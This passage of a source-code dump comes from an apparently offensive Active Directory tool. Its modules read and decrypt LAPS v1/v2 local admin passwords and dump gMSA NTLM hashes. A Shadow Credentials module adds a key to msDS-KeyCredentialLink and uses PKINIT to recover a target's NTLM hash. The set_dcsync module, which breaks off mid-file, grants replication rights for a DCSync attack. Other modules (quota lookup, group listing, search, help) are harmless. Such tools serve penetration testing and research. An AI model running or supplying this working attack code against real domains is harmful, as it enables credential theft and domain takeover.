38 | class ModuleArgs(BaseModel):
39 | target: Optional[str] = Field(
40 | None,
41 | description="Computer account name (SAMAccountName)",
42 | arg_type=ArgumentType.COMPUTER
43 | )
44 |
45 | def __init__(self, args_dict: dict,
46 | domain_dumper: domainDumper,
47 | client: Connection,
48 | log=None):
49 | self.args = self.ModuleArgs(**args_dict)
50 | self.domain_dumper = domain_dumper
51 | self.client = client
52 | self.log = log or logging.getLogger('ldap-shell.shell')
53 |
54 | def __decrypt_laps_v2(self, encrypted_data):
55 | """Decrypt LAPS v2 password using Impacket implementation"""
56 | try:
57 | # Extract domain components
58 | domain, _, user = self.client.user.partition('\\')
59 |
60 | encrypted_blob = EncryptedPasswordBlob(encrypted_data)
61 | parsed_cms, remaining = decoder.decode(encrypted_blob['Blob'], asn1Spec=rfc5652.ContentInfo())
62 | enveloped_data = parsed_cms['content']
63 |
64 | # Extract key identifier
65 | parsed_enveloped, _ = decoder.decode(enveloped_data, asn1Spec=rfc5652.EnvelopedData())
66 | kek_info = parsed_enveloped['recipientInfos'][0]['kekri']
67 | kek_identifier = kek_info['kekid']
68 | key_params = KeyIdentifier(bytes(kek_identifier['keyIdentifier']))
69 | tmp,_ = decoder.decode(kek_identifier['other']['keyAttr'])
70 | sid = tmp['field-1'][0][0][1].asOctets().decode("utf-8")
71 |
72 | # Create Security Descriptor
73 | target_sd = create_sd(sid)
74 |
75 | # Setup RPC connection
76 | string_binding = epm.hept_map(self.client.server.host, gkdi.MSRPC_UUID_GKDI, protocol = 'ncacn_ip_tcp')
77 | rpc_transport = transport.DCERPCTransportFactory(string_binding)
78 | # Check password format for hash
79 | if ':' in self.client.password and re.match(r'[a-f0-9]{32}', self.client.password.lower().split(':')[1]):
80 | password_parts = self.client.password.split(':')
81 | if len(password_parts) == 2:
82 | # If hash detected, use it for authentication
83 | rpc_transport.set_credentials(
84 | user,
85 | '', # Empty password
86 | domain,
87 | lmhash='aad3b435b51404eeaad3b435b51404ee',
88 | nthash=password_parts[1]
89 | )
90 | else:
91 | # If not hash, use regular password authentication
92 | rpc_transport.set_credentials(
93 | user,
94 | self.client.password,
95 | domain
96 | )
97 |
98 | dce = rpc_transport.get_dce_rpc()
99 | dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
100 | dce.connect()
101 | dce.bind(gkdi.MSRPC_UUID_GKDI)
102 |
103 | # Get group key with correct parameters
104 | resp = gkdi.GkdiGetKey(
105 | dce,
106 | target_sd=target_sd,
107 | l0=key_params['L0Index'],
108 | l1=key_params['L1Index'],
109 | l2=key_params['L2Index'],
110 | root_key_id=key_params['RootKeyId']
111 | )
112 |
113 | gke = gkdi.GroupKeyEnvelope(b''.join(resp['pbbOut']))
114 | kek = compute_kek(gke, key_params)
115 |
116 | # Remove caching and related logic
117 | enc_content_parameter = bytes(parsed_enveloped['encryptedContentInfo']['contentEncryptionAlgorithm']['parameters'])
118 | iv, _ = decoder.decode(enc_content_parameter)
119 | iv = bytes(iv[0])
120 |
121 | cek = unwrap_cek(kek, bytes(kek_info['encryptedKey']))
122 | return decrypt_plaintext(cek, iv, remaining)
123 |
124 | except Exception as e:
125 | self.log.error(f"Error decrypting LAPS v2: {str(e)}")
126 | return None
127 |
128 | def __check_laps_attributes(self):
129 | """Check available LAPS attributes in domain"""
130 | self.laps_attributes = []
131 | schema = self.client.server.schema
132 |
133 | # Check for attributes in schema
134 | if 'ms-mcs-admpwd' in schema.attribute_types:
135 | self.laps_attributes.append('ms-Mcs-AdmPwd') # Case sensitive for LDAP
136 |
137 | if 'mslaps-encryptedpassword' in schema.attribute_types:
138 | self.laps_attributes.append('msLAPS-EncryptedPassword')
139 |
140 | return bool(self.laps_attributes)
141 |
142 | def __call__(self):
143 | # Determine available LAPS attributes
144 | if not self.__check_laps_attributes():
145 | self.log.error("LAPS is not configured in domain")
146 | return
147 |
148 | # Form search filter
149 | search_filter = '(objectClass=computer)'
150 | if self.args.target:
151 | search_filter = f'(&(objectClass=computer)(sAMAccountName={self.args.target}))'
152 | else:
153 | # Dynamically create filter based on available attributes
154 | attr_filters = []
155 | if 'ms-Mcs-AdmPwd' in self.laps_attributes:
156 | attr_filters.append('(ms-Mcs-AdmPwd=*)')
157 | if 'msLAPS-EncryptedPassword' in self.laps_attributes:
158 | attr_filters.append('(msLAPS-EncryptedPassword=*)')
159 |
160 | if not attr_filters:
161 | self.log.error("No available LAPS attributes for search")
162 | return
163 |
164 | search_filter = f'(&(objectClass=computer)(|{"".join(attr_filters)}))'
165 |
166 | # Execute search
167 | self.client.search(
168 | self.domain_dumper.root,
169 | search_filter,
170 | attributes=['sAMAccountName'] + self.laps_attributes
171 | )
172 |
173 | for entry in self.client.entries:
174 | hostname = entry['sAMAccountName'].value
175 | password = None
176 |
177 | # Process LAPS v1
178 | if 'ms-Mcs-AdmPwd' in entry:
179 | laps_v1 = entry['ms-Mcs-AdmPwd'].value
180 | if laps_v1:
181 | self.log.info(f'[LAPS v1] {hostname}: {laps_v1}')
182 | continue
183 |
184 | # Process LAPS v2
185 | if 'msLAPS-EncryptedPassword' in entry:
186 | laps_v2 = entry['msLAPS-EncryptedPassword'].value
187 | if laps_v2:
188 | decrypted = self.__decrypt_laps_v2(laps_v2)
189 | if decrypted:
190 | password = json.loads(decrypted[:-18].decode('utf-16le'))['p']
191 | self.log.info(f'[LAPS v2] {hostname}: {password}')
192 |
193 | # Process GMSA
194 | self.client.search(
195 | self.domain_dumper.root,
196 | '(objectClass=msDS-GroupManagedServiceAccount)',
197 | attributes=['sAMAccountName', 'msDS-ManagedPassword', 'msDS-GroupMSAMembership']
198 | )
199 |
200 | if not self.client.entries:
201 | self.log.info('No GMSA accounts found')
202 | return
203 |
204 | for entry in self.client.entries:
205 | if 'msDS-ManagedPassword' in entry:
206 | blob = MSDS_MANAGEDPASSWORD_BLOB(entry['msDS-ManagedPassword'].raw_values[0])
207 | ntlm_hash = MD4.new()
208 | ntlm_hash.update(blob['CurrentPassword'][:-2])
209 | passwd = binascii.hexlify(ntlm_hash.digest()).decode()
210 | self.log.info(f'[GMSA] {entry["sAMAccountName"].value}:::aad3b435b51404eeaad3b435b51404ee:{passwd}')
211 |
212 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/get_maq/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
7 | from ldap3.protocol.microsoft import security_descriptor_control
8 | from ldap3.utils.conv import escape_filter_chars
9 | from ldap_shell.utils.ldap_utils import LdapUtils
10 |
11 | class LdapShellModule(BaseLdapModule):
12 | """Retrieves Machine Account Quota and related information"""
13 |
14 | help_text = "Get Machine Account Quota and allowed users"
15 | examples_text = """
16 | The ms-DS-MachineAccountQuota attribute is stored on the domain object and not on users.
17 | To find out how many machine accounts a user can create, you need to subtract the number
18 | of machine accounts created by the user from the total number of machine accounts allowed.
19 | When a user creates a machine account, the SID of the user who created the machine account is written to the ms-DS-CreatorSID attribute.
20 |
21 | Get global Machine Account Quota
22 | `get_maq`
23 | ```
24 | [INFO] Global domain policy ms-DS-MachineAccountQuota=10
25 | ```
26 | Get Machine Account Quota for specific user
27 | `get_maq john.doe`
28 | ```
29 | [INFO] User john.doe have MachineAccountQuota=9
30 | ```
31 | """
32 | module_type = "Get Info" # Get Info, Abuse ACL, Misc and Other.
33 |
34 | class ModuleArgs(BaseModel):
35 | user: Optional[str] = Field(
36 | None,
37 | description="Check if specific user can create machine accounts",
38 | arg_type=ArgumentType.USER
39 | )
40 |
41 | def __init__(self, args_dict: dict,
42 | domain_dumper: domainDumper,
43 | client: Connection,
44 | log=None):
45 | self.args = self.ModuleArgs(**args_dict)
46 | self.domain_dumper = domain_dumper
47 | self.client = client
48 | self.log = log or logging.getLogger('ldap-shell.shell')
49 |
50 | def __call__(self):
51 | self.client.search(self.domain_dumper.root, '(objectClass=*)', attributes=['ms-DS-MachineAccountQuota'],
52 | controls=security_descriptor_control(sdflags=0x04))
53 | maq = self.client.entries[0].entry_attributes_as_dict['ms-DS-MachineAccountQuota'][0]
54 | if maq < 1:
55 | self.log.error(f"Global domain policy ms-DS-MachineAccountQuota={maq}")
56 | return
57 | if self.args.user:
58 | user_sid = LdapUtils.get_sid(self.client, self.domain_dumper, self.args.user)
59 | self.client.search(self.domain_dumper.root, f'(&(objectClass=computer)(mS-DS-CreatorSID={user_sid}))', attributes=['ms-ds-creatorsid'])
60 | user_machins = len(self.client.entries)
61 | self.log.info(f'User {self.args.user} have MachineAccountQuota={maq - user_machins}')
62 | else:
63 | self.log.info(f'Global domain policy ms-DS-MachineAccountQuota={maq}')
64 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/get_ntlm/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import random
3 | import OpenSSL
4 | from ldap3 import Connection, MODIFY_REPLACE
5 | from ldapdomaindump import domainDumper
6 | from pydantic import BaseModel, Field
7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
8 | from ldap_shell.utils.ldap_utils import LdapUtils
9 | from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
10 | from dsinternals.common.data.DNWithBinary import DNWithBinary
11 | from dsinternals.common.data.hello.KeyCredential import KeyCredential
12 | from dsinternals.system.DateTime import DateTime
13 | from dsinternals.system.Guid import Guid
14 | from minikerberos.common.ccache import CCACHE
15 | from minikerberos.common.target import KerberosTarget
16 | from minikerberos.network.clientsocket import KerberosClientSocket
17 | from ldap_shell.utils.myPKINIT import myPKINIT
18 |
19 | class LdapShellModule(BaseLdapModule):
20 | """Module for getting NTLM hash using Shadow Credentials attack"""
21 |
22 | help_text = "Get NTLM hash using Shadow Credentials attack (requires write access to msDS-KeyCredentialLink)"
23 | examples_text = """
24 | Get NTLM hash for user john:
25 | `get_ntlm john`
26 | ```
27 | [INFO] Target user found: john
28 | [INFO] KeyCredential generated with DeviceID: 26d8713b-4a44-4792-82b7-2e30f5e33ab5
29 | [INFO] Successfully added new key
30 | [INFO] Got TGT using certificate
31 | [INFO] NTLM hash for john: aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe
32 | [INFO] Cleaning up DeviceID...
33 | [INFO] Cleanup successful
34 | ```
35 | """
36 | module_type = "Abuse ACL"
37 |
38 | class ModuleArgs(BaseModel):
39 | target: str = Field(
40 | description="Target user (sAMAccountName)",
41 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER]
42 | )
43 |
44 | def __init__(self, args_dict: dict,
45 | domain_dumper: domainDumper,
46 | client: Connection,
47 | log=None):
48 | self.args = self.ModuleArgs(**args_dict)
49 | self.domain_dumper = domain_dumper
50 | self.client = client
51 | self.log = log or logging.getLogger('ldap-shell.shell')
52 |
53 | def __call__(self):
54 | # TLS check
55 | if not self.client.tls_started and not self.client.server.ssl:
56 | self.log.info('Sending StartTLS command...')
57 | if not self.client.start_tls():
58 | self.log.error("StartTLS failed")
59 | return self.log.error('Error: LDAPS required. Try -use-ldaps flag')
60 | else:
61 | self.log.info('StartTLS succeeded!')
62 |
63 | # Find target user
64 | target_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.target)
65 | if not target_dn:
66 | self.log.error(f'Target user not found: {self.args.target}')
67 | return
68 |
69 | self.log.info(f"Target user found: {self.args.target}")
70 |
71 | # Generate certificate and KeyCredential
72 | try:
73 | certificate = X509Certificate2(
74 | subject=self.args.target,
75 | keySize=2048,
76 | notBefore=(-40 * 365),
77 | notAfter=(40 * 365)
78 | )
79 |
80 | device_id = Guid()
81 | key_credential = KeyCredential.fromX509Certificate2(
82 | certificate=certificate,
83 | deviceId=device_id,
84 | owner=self.domain_dumper.root,
85 | currentTime=DateTime()
86 | )
87 |
88 | self.log.info(f"KeyCredential generated with DeviceID: {key_credential.DeviceId.toFormatD()}")
89 |
90 | # Get current values and add new key
91 | results = self.client.search(
92 | target_dn,
93 | '(objectClass=*)',
94 | attributes=['msDS-KeyCredentialLink']
95 | )
96 | if not results:
97 | self.log.error('Could not query target user properties')
98 | return
99 |
100 | current_values = self.client.response[0]['raw_attributes'].get('msDS-KeyCredentialLink', [])
101 | new_values = current_values + [key_credential.toDNWithBinary().toString()]
102 |
103 | self.client.modify(
104 | target_dn,
105 | {'msDS-KeyCredentialLink': [(MODIFY_REPLACE, new_values)]}
106 | )
107 |
108 | if self.client.result['result'] != 0:
109 | self.log.error(f"Failed to add key: {self.client.result['message']}")
110 | return
111 |
112 | self.log.info("Successfully added new key")
113 |
114 | try:
115 | # PKINIT authentication
116 | pfx_pass = ''.join(chr(random.randint(1,255)) for _ in range(20)).encode()
117 | pk = OpenSSL.crypto.PKCS12()
118 | pk.set_privatekey(certificate.key)
119 | pk.set_certificate(certificate.certificate)
120 | pfxdata = pk.export(passphrase=pfx_pass)
121 |
122 | dhparams = {
123 | 'p': int('00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff', 16),
124 | 'g': 2
125 | }
126 |
127 | domain = self.client.user.split('\\')[0]
128 | ini = myPKINIT.from_pfx_data(pfxdata, pfx_pass, dhparams)
129 | req = ini.build_asreq(domain, self.args.target)
130 | sock = KerberosClientSocket(KerberosTarget(self.client.server.host))
131 |
132 | res = sock.sendrecv(req)
133 | if hasattr(res, 'native') and res.native.get('error-code') == 15:
134 | self.log.error("PKINIT authentication is not supported by the domain controller.")
135 | self.log.error("This attack requires PKINIT support to be enabled on the domain.")
136 | raise Exception("PKINIT not supported")
137 |
138 | self.log.info("Got TGT using certificate")
139 | encasrep, session_key, cipher = ini.decrypt_asrep(res.native)
140 | ccache = CCACHE()
141 | ccache.add_tgt(res.native, encasrep)
142 | ccache_data = ccache.to_bytes()
143 |
144 | dumper = myPKINIT.GETPAC(
145 | self.args.target,
146 | domain,
147 | self.client.server.host,
148 | session_key
149 | )
150 | dumper.dump(domain, self.client.server.host, ccache_data)
151 |
152 | except Exception as e:
153 | self.log.error(f"Error during PKINIT authentication: {str(e)}")
154 | self.log.error("This could be because PKINIT is not supported or disabled in the domain")
155 |
156 | finally:
157 | # Cleanup in any case
158 | self.log.info("Cleaning up DeviceID...")
159 | new_values = []
160 | for dn_binary_value in current_values:
161 | key_cred = KeyCredential.fromDNWithBinary(
162 | DNWithBinary.fromRawDNWithBinary(dn_binary_value)
163 | )
164 | if device_id.toFormatD() != key_cred.DeviceId.toFormatD():
165 | new_values.append(dn_binary_value)
166 |
167 | self.client.modify(
168 | target_dn,
169 | {'msDS-KeyCredentialLink': [(MODIFY_REPLACE, new_values)]}
170 | )
171 |
172 | if self.client.result['result'] == 0:
173 | self.log.info("Cleanup successful")
174 | else:
175 | self.log.error(f"Cleanup failed: {self.client.result['message']}")
176 |
177 | except Exception as e:
178 | self.log.error(f'Error: {str(e)}')
179 | return
180 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/get_user_groups/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
7 | from ldap3.utils.conv import escape_filter_chars
8 |
9 | class LdapShellModule(BaseLdapModule):
10 | """Module for retrieves all groups recursively this user is a member of"""
11 |
12 | help_text = "Retrieves all groups recursively this user is a member of"
13 | examples_text = """
14 | Get groups for user 'testuser'
15 | `get_user_groups testuser`
16 | ```
17 | [INFO] Group: Domain Users
18 | ```
19 | Get groups for group "Remote Management Users"
20 | `get_user_groups "Remote Management Users"`
21 | ```
22 | [INFO] Found 5 groups
23 | [INFO] Group: Administrators
24 | [INFO] Group: Schema Admins
25 | [INFO] Group: Domain Admins
26 | [INFO] Group: Denied RODC Password Replication Group
27 | [INFO] Group: group1
28 | ```
29 | Get groups for computer 'srv01'
30 | `get_user_groups srv01$`
31 | ```
32 | [INFO] Group: Domain Computers
33 | ```
34 | """
35 | module_type = "Get Info"
36 | class ModuleArgs(BaseModel):
37 | user: Optional[str] = Field(
38 | ..., # This argument is required
39 | description="Target AD user",
40 | arg_type=[ArgumentType.USER, ArgumentType.GROUP, ArgumentType.COMPUTER] # Changed to list of types
41 | )
42 |
43 | def __init__(self, args_dict: dict,
44 | domain_dumper: domainDumper,
45 | client: Connection,
46 | log=None):
47 | self.args = self.ModuleArgs(**args_dict)
48 | self.domain_dumper = domain_dumper
49 | self.client = client
50 | self.log = log or logging.getLogger('ldap-shell.shell')
51 | self.LDAP_MATCHING_RULE_IN_CHAIN = '1.2.840.113556.1.4.1941'
52 |
53 | def __call__(self):
54 | self.client.search(self.domain_dumper.root, f'(sAMAccountName={escape_filter_chars(self.args.user)})',
55 | attributes=['distinguishedName'])
56 |
57 | if len(self.client.entries) != 1:
58 | self.log.error(f'User not found in LDAP: {self.args.user}')
59 | return
60 |
61 | user_dn = self.client.entries[0].entry_dn
62 |
63 | self.client.search(self.domain_dumper.root,
64 | f'(member:{self.LDAP_MATCHING_RULE_IN_CHAIN}:={escape_filter_chars(user_dn)})',
65 | attributes=['distinguishedName', 'sAMAccountName', 'name'])
66 |
67 | if self.client.result['result'] == 0:
68 | if len(self.client.entries) == 0:
69 | if self.args.user.endswith('$'):
70 | self.log.info('Group: Domain Computers')
71 | else:
72 | self.log.info('Group: Domain Users')
73 | else:
74 | self.log.info(f'Found {len(self.client.entries)} groups {self.args.user}')
75 | for entry in self.client.entries:
76 | self.log.info(f'Group: {entry.sAMAccountName}')
77 | else:
78 | self.log.error('Error searching for user groups')
79 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/help/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.utils.module_loader import ModuleLoader
7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
8 | import importlib
9 | from colorama import init, Fore, Back, Style
10 | import textwrap
11 | from ldap_shell.utils.module_loader import ModuleLoader
12 | # Initialize colorama for cross-platform support
13 | init()
14 |
15 | class LdapShellModule(BaseLdapModule):
16 | """Module for show help"""
17 |
18 | help_text = "Show help"
19 | examples_text = """
20 | Show help for a specific command
21 | `help get_user_groups`
22 | Show help for all commands
23 | `help`
24 | """
25 | module_type = "Other"
26 |
27 | class ModuleArgs(BaseModel):
28 | command: Optional[str] = Field(
29 | None, # This argument is required
30 | description="Command to execute",
31 | arg_type=[ArgumentType.COMMAND] # Changed to list of types
32 | )
33 |
34 | def __init__(self, args_dict: dict,
35 | domain_dumper: domainDumper,
36 | client: Connection,
37 | log=None):
38 | self.args = self.ModuleArgs(**args_dict)
39 | self.domain_dumper = domain_dumper
40 | self.client = client
41 | self.log = log or logging.getLogger('ldap-shell.shell')
42 |
43 | def print_markdown(self, text: str) -> str:
44 | lines = text.split('\n')
45 | result = []
46 | in_code_block = False
47 |
48 | for line in lines:
49 | # Headers
50 | if line.strip().startswith('# '):
51 | result.append(f"{Fore.CYAN}{line.strip().strip('# ')}{Style.RESET_ALL}")
52 | elif line.strip().startswith('## '):
53 | result.append(f"{Fore.BLUE}{line.strip().strip('## ')}{Style.RESET_ALL}")
54 | elif line.strip().startswith('### '):
55 | result.append(f"{Fore.GREEN}{line.strip().strip('### ')}{Style.RESET_ALL}")
56 | # Code blocks
57 | elif line.strip().startswith('```'):
58 | in_code_block = not in_code_block
59 | continue
60 | elif in_code_block:
61 | result.append(f"{Back.BLACK}{Fore.WHITE}{line}{Style.RESET_ALL}")
62 | # Inline code
63 | else:
64 | while '`' in line:
65 | start = line.find('`')
66 | end = line.find('`', start + 1)
67 | if end == -1:
68 | break
69 | code = line[start+1:end]
70 | line = line[:start] + f"{Fore.YELLOW}{code}{Style.RESET_ALL}" + line[end+1:]
71 | result.append(line)
72 |
73 | print('\n'.join(result))
74 |
75 | def __call__(self):
76 | list_modules = ModuleLoader.list_modules()
77 | modules = ModuleLoader.load_modules()
78 | helper_modules = {}
79 | for module in modules:
80 | module_name = module
81 | helper_modules[module_name] = {}
82 | if hasattr(modules[module], 'help_text'):
83 | helper_modules[module_name]['help'] = modules[module].help_text
84 | if hasattr(modules[module], 'module_type'):
85 | helper_modules[module_name]['type'] = modules[module].module_type
86 | helper_modules[module_name]['args'] = modules[module].get_args_required()
87 |
88 | # Group modules by chapters
89 | chapters = {}
90 | for module_name in helper_modules:
91 | if helper_modules[module_name].get('type'):
92 | chapter = helper_modules[module_name]['type']
93 | else:
94 | chapter = 'Other'
95 | if chapter not in chapters:
96 | chapters[chapter] = []
97 | help_text = helper_modules[module_name]['help']
98 | args = helper_modules[module_name]['args']
99 | chapters[chapter].append(f" {module_name} {(' '.join(args))} - {help_text}")
100 |
101 | if self.args.command:
102 | if self.args.command in list_modules:
103 | module = ModuleLoader.load_module(self.args.command)
104 | module_class = module
105 |
106 | # Gather module information
107 | header = module_class.__doc__ or "No description available"
108 | help_text = module_class.help_text
109 | examples = module_class.examples_text
110 | args_schema = module_class.ModuleArgs.model_json_schema()
111 | # Format text
112 | help_md = f"""
113 | `{self.args.command} {' '.join(helper_modules[self.args.command]['args'])}`
114 |
115 | # Command: {self.args.command}
116 | {header}
117 |
118 | # Description
119 | {help_text}
120 |
121 | # Arguments
122 | """
123 | # Add argument information
124 | for arg in module_class.get_arguments():
125 | name = arg.name
126 | required = arg.required
127 | arg_types = '|'.join([arg_type.name for arg_type in arg.arg_type]) if isinstance(arg.arg_type, list) else arg.arg_type.name
128 | description = arg.description
129 | help_md += f""" ### {name}
130 | - Description: {description}
131 | - Type: `{arg_types}`
132 | - Required: {required}
133 | """
134 | help_md += f"\n# Examples"
135 | # Add usage examples
136 | if examples:
137 | help_md += f"\n{textwrap.dedent(examples.lstrip('\n'))}"
138 | # Output
139 | self.print_markdown(help_md)
140 |
141 | else:
142 | self.log.error(f"Command {self.args.command} not found")
143 | return
144 |
145 | else:
146 | # Output in required format
147 | for chapter, commands in chapters.items():
148 | print(f"\n{chapter}")
149 | for command in sorted(commands):
150 | print(command)
151 | print('exit - exit from shell')
152 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/search/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional, List
6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ModuleArgument, ArgumentType, AttributesList
7 | from datetime import datetime, timedelta
8 | import re
9 |
10 | class LdapShellModule(BaseLdapModule):
11 | """Module for searching AD objects"""
12 |
13 | help_text = "Search AD objects"
14 | examples_text = """
15 | ## Search user with all attributes:
16 | `search "(sAMAccountName=john.doe)"`
17 | ```
18 | objectClass : top
19 | person
20 | organizationalPerson
21 | user
22 | pwdLastSet : 2024-07-22 18:09:40+0000
23 | ...
24 | objectSid : S-1-5-21-170099002-3324421148-3202989712-2994
25 | whenCreated : 2024-07-22 18:09:40+0000
26 | distinguishedName : CN=john.doe,CN=Users,DC=roasting,DC=lab
27 | sAMAccountName : john.doe
28 | ...
29 | sn : john.doe
30 | ```
31 | ## Search user with specific attributes:
32 | `search "(sAMAccountName=john.doe)" sAMAccountName,objectSid,name`
33 | ```
34 | objectSid : S-1-5-21-170099002-3324421148-3202989712-2994
35 | name : john.doe
36 | sAMAccountName: john.doe
37 | ```
38 | """
39 | module_type = "Get Info"
40 |
41 | class ModuleArgs(BaseModel):
42 | ldap_filter: str = Field(
43 | ..., # This argument is required
44 | description="LDAP filter",
45 | arg_type=ArgumentType.STRING
46 | )
47 | attributes: Optional[AttributesList] = Field(
48 | None, # This argument is not required
49 | description="Attributes to retrieve (single or comma-separated)",
50 | arg_type=ArgumentType.ATTRIBUTES
51 | )
52 |
53 | def __init__(self, args_dict: dict,
54 | domain_dumper: domainDumper,
55 | client: Connection,
56 | log=None):
57 | self.args = self.ModuleArgs(**args_dict)
58 | self.domain_dumper = domain_dumper
59 | self.client = client
60 | self.log = log or logging.getLogger('ldap-shell.shell')
61 |
62 | def convert_windows_timestamp(self, timestamp):
63 | """Convert Windows timestamp to human readable format"""
64 | try:
65 | # Convert string to number
66 | timestamp = int(timestamp)
67 | if timestamp < 116444736000000000:
68 | return timestamp
69 | windows_epoch = datetime(1601, 1, 1)
70 | delta = timedelta(microseconds=timestamp // 10) # divide by 10 to convert to microseconds
71 | return (windows_epoch + delta).strftime('%Y-%m-%d %H:%M:%S')
72 | except (ValueError, TypeError):
73 | return timestamp
74 |
75 | def format_value(self, value):
76 | """Format single value with proper formatting"""
77 | if isinstance(value, datetime):
78 | return value.strftime('%Y-%m-%d %H:%M:%S%z')
79 | elif isinstance(value, bytes):
80 | try:
81 | return value.decode('utf-8')
82 | except UnicodeDecodeError:
83 | return value.hex()
84 | elif isinstance(value, list):
85 | return [self.format_value(v) for v in value]
86 | return str(value)
87 |
88 | def format_entry(self, entry):
89 | """Format LDAP entry with proper output formatting"""
90 | formatted_entry = {}
91 |
92 | for key, values in entry.entry_attributes_as_dict.items():
93 | # Convert each value
94 | formatted_values = []
95 | for value in values:
96 | formatted_value = self.format_value(value)
97 | formatted_values.append(formatted_value)
98 |
99 | # If value is single - no need for list
100 | if len(formatted_values) == 1:
101 | formatted_entry[key] = formatted_values[0]
102 | else:
103 | formatted_entry[key] = formatted_values
104 |
105 | return formatted_entry
106 |
107 | def __call__(self):
108 | self.log.info('Starting search operation...')
109 |
110 | attributes = self.args.attributes
111 | search_query = self.args.ldap_filter
112 |
113 | self.log.debug('search_query={}'.format(search_query))
114 | self.log.debug('attributes={}'.format(attributes))
115 |
116 | if not attributes:
117 | attributes = ['*']
118 | try:
119 | self.client.search(self.domain_dumper.root, search_query, attributes=attributes)
120 | except Exception as e:
121 | self.log.error(f"Error searching: {e}")
122 | return
123 |
124 | if len(self.client.entries) == 0:
125 | self.log.info('No results found')
126 | return
127 |
128 | for entry in self.client.entries:
129 | # Format each entry before displaying
130 | formatted_entry = self.format_entry(entry)
131 |
132 | # Print in the desired format
133 | print("\n") # Empty line between entries
134 | max_key_length = max(len(key) for key in formatted_entry.keys())
135 |
136 | for key, value in formatted_entry.items():
137 | if isinstance(value, list):
138 | # Check if list is empty
139 | if not value:
140 | print(f"{key.ljust(max_key_length)}: ")
141 | else:
142 | # Multi-line output for lists
143 | print(f"{key.ljust(max_key_length)}: {value[0]}")
144 | for v in value[1:]:
145 | print(f"{' ' * max_key_length} {v}")
146 | else:
147 | # Single line output for single values
148 | print(f"{key.ljust(max_key_length)}: {value}")
149 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/set_dcsync/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection, MODIFY_REPLACE
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.prompt import Prompt
7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
8 | from ldap3.protocol.microsoft import security_descriptor_control
9 | from ldap3.utils.conv import escape_filter_chars
10 | from ldap_shell.utils.ldap_utils import LdapUtils
11 | from ldap_shell.utils.ace_utils import AceUtils
12 | import ldap_shell.utils.ldaptypes as ldaptypes
13 |
14 | class LdapShellModule(BaseLdapModule):
15 | """Module for set DS-Replication-Get-Changes-All privilege to the target AD user or computer"""
16 |
17 | help_text = "If you have write access to the domain object, assign the DS-Replication right to the selected user"
18 | examples_text = """
19 | Set DS-Replication-Get-Changes-All privilege to the target AD user
20 | `set_dcsync john.doe`
21 | ```
22 | [INFO] DACL modified successfully! john.doe now has DS-Replication privilege and can perform DCSync attack!
23 | ```
24 | """
25 | module_type = "Abuse ACL" # Get Info, Abuse ACL, Misc and Other.
26 |
27 | class ModuleArgs(BaseModel):
28 | target: Optional[str] = Field(
29 | description="Target DN of user or computer",
30 | arg_type=[ArgumentType.DN]
31 | )
32 |
33 | def __init__(self, args_dict: dict,
34 | domain_dumper: domainDumper,
35 | client: Connection,
36 | log=None):
37 | self.args = self.ModuleArgs(**args_dict)
38 | self.domain_dumper = domain_dumper
39 | self.client = client
40 | self.log = log or logging.getLogger('ldap-shell.shell')
41 |
42 | def __call__(self):
43 | if not LdapUtils.check_dn(self.client, self.domain_dumper, self.args.target):
44 | self.log.error('Invalid DN: %s', self.args.target)
45 | return
46 |
47 | ldap_attribute = 'nTSecurityDescriptor'
48 | target_dn = self.domain_dumper.root
49 | user_dn = self.args.target
50 | sd_data, domain_root_sid = LdapUtils.get_info_by_dn(self.client, self.domain_dumper, target_dn)
51 | _, user_sid = LdapUtils.get_info_by_dn(self.client, self.domain_dumper, user_dn)
52 |
53 | if sd_data is None:
54 | raise Exception(f'Error expected only one search result, got {len(self.client.entries)} results')
55 |
56 | sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data[0])
57 |
58 | if len(sd_data) < 1:
59 | raise Exception(f'Check if target have write access to the domain object')
60 | else:
61 | sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data[0])
62 |
63 | user_name = LdapUtils.get_name_from_dn(user_dn)
64 | attr_values = []
65 |
66 | sd['Dacl'].aces.append(AceUtils.createACE(sid=user_sid, object_type='1131f6ad-9c07-11d1-f79f-00c04fc2dcd2')) #set DS-Replication-Get-Changes-All
